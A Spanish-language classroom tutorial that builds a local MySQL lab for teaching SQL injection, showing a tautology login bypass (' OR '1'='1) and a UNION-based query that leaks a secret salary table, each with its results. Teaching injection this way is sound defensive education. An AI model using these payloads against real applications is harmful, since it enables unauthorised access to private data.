Enseñando Inyección SQL de forma práctica con Docker y MySQL

Uno de los mayores problemas al enseñar SQL Injection es que muchas veces se explica solo en teoría.

Pero cuando el alumnado ve:

- la tabla
- los datos
- la consulta vulnerable
- y el resultado real

…es cuando realmente entiende el problema.

Por eso un pequeño laboratorio con Docker y MySQL funciona tan bien en clase.

1□□ Crear una base de datos vulnerable

```
DROP DATABASE IF EXISTS demo_inyeccion_salarios;
CREATE DATABASE demo_inyeccion_salarios;
USE demo_inyeccion_salarios;
```

2□□ Crear tabla de empleados

```
CREATE TABLE empleados (
id INT AUTO_INCREMENT PRIMARY KEY,
usuario VARCHAR(50),
password VARCHAR(50),
puesto VARCHAR(50),
salario INT
);
```

Insertamos algunos usuarios:

```
INSERT INTO empleados(usuario,password,puesto,salario) VALUES
('ana','1234','Analista',32000),
('carlos','abcd','Administrador Sistemas',38000),
('marta','pass','Marketing',42000),
('director','supersecret','Director General',150000);
```

3□□ Consulta normal

Login correcto:

```
SELECT usuario, puesto, salario
FROM empleados
WHERE usuario='ana'
AND password='1234';
```

Resultado esperado:

usuario	puesto	salario
ana	Analista	32000

4□□ Login incorrecto

```
SELECT usuario, puesto, salario
FROM empleados
WHERE usuario='ana'
AND password='xxxx';
```

Resultado:

```
Empty set
```

Hasta aquí todo parece normal.

5□□ Inyección SQL clásica

Ahora llega lo interesante.

```
SELECT usuario, puesto, salario
FROM empleados
WHERE usuario='' OR '1'='1';
```

La condición:

```
'1'='1'
```

siempre es verdadera.

Resultado:

usuario	puesto	salario
ana	Analista	32000
carlos	Administrador Sistemas	38000
marta	Marketing	42000
director	Director General	150000

Y aquí es cuando muchos entienden por primera vez por qué concatenar cadenas en SQL es peligrosísimo.

□ Inyección SQL con UNION

Otro ejemplo muy visual consiste en mostrar cómo una consulta pública puede terminar filtrando información privada.

6□□ Tabla pública

```
CREATE TABLE empleados_publicos (
id INT AUTO_INCREMENT PRIMARY KEY,
nombre VARCHAR(50),
departamento VARCHAR(50),
email VARCHAR(100)
);
```

7□□ Tabla secreta

```
CREATE TABLE salarios_secretos (
id INT AUTO_INCREMENT PRIMARY KEY,
nombre VARCHAR(50),
puesto VARCHAR(50),
salario INT
);
```

8□□ Consulta legítima

```
SELECT nombre, departamento, email
FROM empleados_publicos
WHERE nombre='Ana';
```

La aplicación solo debería mostrar datos públicos.

9□□ Ataque con UNION

```
SELECT nombre, departamento, email
FROM empleados_publicos
WHERE nombre=''
UNION
SELECT nombre,puesto,salario FROM salarios_secretos;
```

Ahora la consulta mezcla:

- datos públicos
- y datos privados

Resultado:

nombre	puesto/departamento	salario/email
Ana	Analista	32000
Carlos	Administrador Sistemas	38000
Marta	Responsable Marketing	42000
Luis	Director General	150000
